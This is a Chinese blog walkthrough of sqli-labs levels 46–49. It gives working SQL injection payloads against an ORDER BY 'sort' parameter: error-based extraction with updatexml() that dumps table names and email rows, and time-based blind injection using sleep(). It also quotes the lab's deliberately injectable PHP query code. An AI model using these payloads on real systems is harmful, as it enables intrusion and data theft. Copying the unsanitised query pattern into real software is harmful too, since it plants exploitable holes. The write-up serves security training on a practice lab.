sqli-labs 通关指南:Less 46 ~ 49

Less 46 ~ 49 的网页功能是返回一个列表,因此我们不能借助回显位置进行注入。此时可以根据是否返回报错信息,选择使用报错注入还是时间盲注。

Less 46

判断注入类型

打开网页,这是个新的网页,尝试输入新的参数 sort,网页回显用户名列表。

?sort=1


改变参数 sort 的值,发现返回的列表是根据该表的第 sort 列排序进行回显。

?sort=2


对 sort 参数使用单引号闭合,网页返回错误信息。

?sort=1'


将后面的内容注释掉,网页返回错误的信息。进行下面的所有测试,得出此处存在数值型注入。

?sort=1'--+
?sort=1')--+
?sort=1'))--+
?sort=1"--+
?sort=1")--+
?sort=1"))--+

获取数据库信息

由于此处数据返回的形式是表格,因此我们不能直接利用数据回显的位置。此处可以使用 updatexml() 函数进行报错注入,把敏感信息输出在错误信息中,payload 可以参考 Less 17。爆数据库名。

?sort=1 AND updatexml(1,concat("!",database()),2)#


爆表名。

?sort=1 AND updatexml(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security')),2)#


爆字段名。

?sort=1 AND updatexml(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'emails')),2)#

获取目标信息

这次我们获取 emails 表中的信息。

?sort=1 AND updatexml(1,concat('!',(SELECT concat_ws(':',id,email_id) FROM (SELECT id,email_id FROM emails)text LIMIT 0,1)),1)#


改变 LIMIT 子句后的参数,取出其他数据。

?sort=1 AND updatexml(1,concat('!',(SELECT concat_ws(':',id,email_id) FROM (SELECT id,email_id FROM emails)text LIMIT 1,1)),1)#

SQL 查询语句

$id = $_GET['sort'];
$sql = "SELECT * FROM users ORDER BY $id";
$result = mysql_query($sql);
if ($result)
{
      ?>
      <center>
      <font color= "#00FF00" size="4">
		
      <table   border=1'>
      <tr>
                  <th>&nbsp;ID&nbsp;</th>
		  <th>&nbsp;USERNAME&nbsp;  </th>
		  <th>&nbsp;PASSWORD&nbsp;  </th>
      </tr>
      </font>
      </font>
      <?php
      while ($row = mysql_fetch_assoc($result))
      {
            echo '<font color= "#00FF11" size="3">';		
            echo "<tr>";
            echo "<td>".$row['id']."</td>";
    	    echo "<td>".$row['username']."</td>";
    	    echo "<td>".$row['password']."</td>";
            echo "</tr>";
            echo "</font>";
      }	
      echo "</table>";		
}
else
{
      echo '<font color= "#FFFF00">';
      print_r(mysql_error());
      echo "</font>";  
}

Less 47

判断注入类型

输入正常参数,网页回显用户名列表。对 sort 参数使用单引号闭合,网页返回错误信息。

?sort=1'


将后面的内容注释掉,网页返回正常的信息,得出此处存在单引号闭合的字符型注入。

?sort=1'--+

获取目标信息

和 Less 46 差不多,使用单引号闭合即可,获取 emails 表中的信息。

?sort=1' AND updatexml(1,concat('!',(SELECT concat_ws(':',id,email_id) FROM (SELECT id,email_id FROM emails)text LIMIT 0,1)),1)--+


改变 LIMIT 子句后的参数,取出其他数据。

?sort=1' AND updatexml(1,concat('!',(SELECT concat_ws(':',id,email_id) FROM (SELECT id,email_id FROM emails)text LIMIT 1,1)),1)--+

SQL 查询语句

$sql = "SELECT * FROM users ORDER BY '$id'";

Less 48

判断注入类型

输入正常参数,网页回显用户名列表。对 sort 参数使用单引号闭合,网页无回显。

?sort=1'


将后面的内容注释掉,网页无回显。进行下面的所有测试,得出此处存在数值型的盲注。

?sort=1'--+
?sort=1')--+
?sort=1'))--+
?sort=1"--+
?sort=1")--+
?sort=1"))--+

获取数据库信息

由于此处错误信息不回显,因此我们不能使用 updatexml() 报错注入。此时可以使用时间盲注,在 Less 46 和 Less 47 也可以使用时间盲注,payload 可以参考 Less 9。使用二分法测试数据库名长度为 8。

?sort=1 AND IF(LENGTH(database())=8,sleep(1),1)--+


使用穷举法进行测试,得出数据库名的第一个字符为 “s”。

?sort=1 AND IF(LEFT((SELECT database()), 1)='s',sleep(1),1)--+


接下来得出数据库名,再使用同样的方法继续爆破表名、字段名及其剩余信息。

?sort=1 AND IF(LEFT((SELECT database()), 8)='security',sleep(1),1)--+

SQL 查询语句

$id = $_GET['sort'];
$sql = "SELECT * FROM users ORDER BY $id";
$result = mysql_query($sql);
if ($result)
{
      ?>
      <center>
      <font color= "#00FF00" size="4">
		
      <table   border=1'>
      <tr>
            <th>&nbsp;ID&nbsp;</th>
	    <th>&nbsp;USERNAME&nbsp;  </th>
	    <th>&nbsp;PASSWORD&nbsp;  </th>
      </tr>
      </font>
      </font>
      <?php
      while ($row = mysql_fetch_assoc($result))
      {
            echo '<font color= "#00FF11" size="3">';		
	    echo "<tr>";
    	    echo "<td>".$row['id']."</td>";
    	    echo "<td>".$row['username']."</td>";
    	    echo "<td>".$row['password']."</td>";
	    echo "</tr>";
	    echo "</font>";
      }	
      echo "</table>";
}

Less 49

判断注入类型

输入正常参数,网页回显用户名列表。对 sort 参数使用单引号闭合,网页无回显。

?sort=1'


将后面的内容注释掉,网页用户名列表,得出此处存在单引号闭合的字符型的盲注。

?sort=1'--+

获取数据库信息

使用时间盲注,流程和 Less 48 差不多,使用单引号闭合。得出数据库名,再使用同样的方法继续爆破表名、字段名及其剩余信息。

?sort=1 AND IF(LEFT((SELECT database()), 8)='security',sleep(1),1)--+

SQL 查询语句

$sql = "SELECT * FROM users ORDER BY '$id'";
posted @ 2020-11-17 00:29  乌漆WhiteMoon  阅读(370)  评论(0编辑  收藏  举报